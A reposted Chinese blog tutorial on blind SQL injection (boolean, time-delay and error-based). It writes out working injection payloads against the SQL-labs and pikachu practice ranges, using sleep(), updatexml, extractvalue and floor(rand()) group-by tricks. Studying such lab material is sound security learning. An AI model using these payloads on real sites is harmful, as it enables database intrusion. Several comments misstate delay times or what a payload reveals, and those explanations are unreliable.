小言_互联网的博客

web安全sql注入盲注&布尔&延时&报错

162人阅读  评论(0)

一、SQL盲注概述

盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。我们可以知道盲注分为以下三类:

1.基于布尔的SQL盲注-逻辑判断
regexp,like,ascii,left,ord,mid
2.基于时间的SQL盲注-延时判断
if,sleep
3.基于报错的SQL盲注-报错回显
floor,updatexml,extractvalue

参考:https://www.jianshu.com/p/bc35f8dd4f7c
           https://xz.aliyun.com/t/7169#toc-19

数据库基本函数

like ‘%ro%’ #进行条件匹配,like ‘%{’ 表示末尾匹配、 like ‘{%’; 表示开头匹配、 like '%{%'表示全局匹配

regexp ‘[a-z]’; #匹配a到z所有数据等

if(条件,5,0) #条件成立延时执行2秒,否则延时执行3秒

sleep(5) #SQL语句延时执行3秒

mid(a,b,c) #从位置b开始,截取a字符串的c位

substr(a,b,c) #从位置b开始,截取字符串a的c长度



left(database(),1),database() #left(a,b)从左侧截取a的前b位

length(database())=4 #判断数据库database()名的长度

ord=ascii ascii(x)=97 #判断x的ascii码是否等于97

基于布尔的SQL盲注

还是选择SQL-labs靶场的第5关,然后开始正常的注入发现有3列

但是这里正常的联合注入,发现页面还是没有回显我们想要的信息

接下来我们尝试布尔盲注,数据库字符第一位=a错误,数据库字符第一位=s返回正常

?id=1' and left(database(),1)='a' --+?id=1' and left(database(),1)='s' --+

?id=1' and left(database(),1)>'f' --+

然后判断数据库字符串长度,发现数据库有8位,后面直接写脚本就完事辽

?id=1' and length(database())=8 --+

基于时间的SQL盲注-延时判断

SQL-labs靶场的第2关,还是和前面一样判断数据库第一位字符串
?id=1 and substr(database(),1,1)='s'--+

这里加一个if判断语句,如果数据库第一位字符串正确则延迟两秒
?id=1 and if(substr(database(),1,1)='s',sleep(2),0)--+

这里还可以直接判断数据库名正确就延迟3秒
?id=1 and if(database()='security',sleep(3),0) --+

基于报错的SQL盲注-报错回显

正常mysql update更新语句 update flag set flag=‘cmss’ where id=2;

加上报错语句, update flag set flag='cmss'or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a) or '' where id=2; 爆出数据库名 flag

然后我们在靶场pikachu 测试一下

1.在这个更新资料的位置

1111' or updatexml(1,concat(0x7e,(version())),0) or' 在更新的构造sql语句尝试让他报错得到数据库版本信息

' or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a) or '

' or extractvalue(1,concat(0x7e,database())) or ' 爆出数据库版本

2.在注册的位置构造语句

' or(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or '

' or extractvalue(1,concat(0x7e,database())) or ' 爆出数据库版本

' or updatexml(1,concat(0x7e,(version())),0) or '爆出数据库版本

3.在删除的位置构造sql语句

?id=59 or+(select+1+from(select+count(*),concat(floor(rand(0)*2),0x7e,(database()),0x7e)x+from+information_schema.character_sets+group+by+x)a)

?id=59 or+updatexml+(1,concat(0x7e,database()),0) 爆出数据库版本



转载:https://blog.csdn.net/qq_36241198/article/details/116768585
查看评论
* 以上用户言论只代表其个人观点,不代表本网站的观点或立场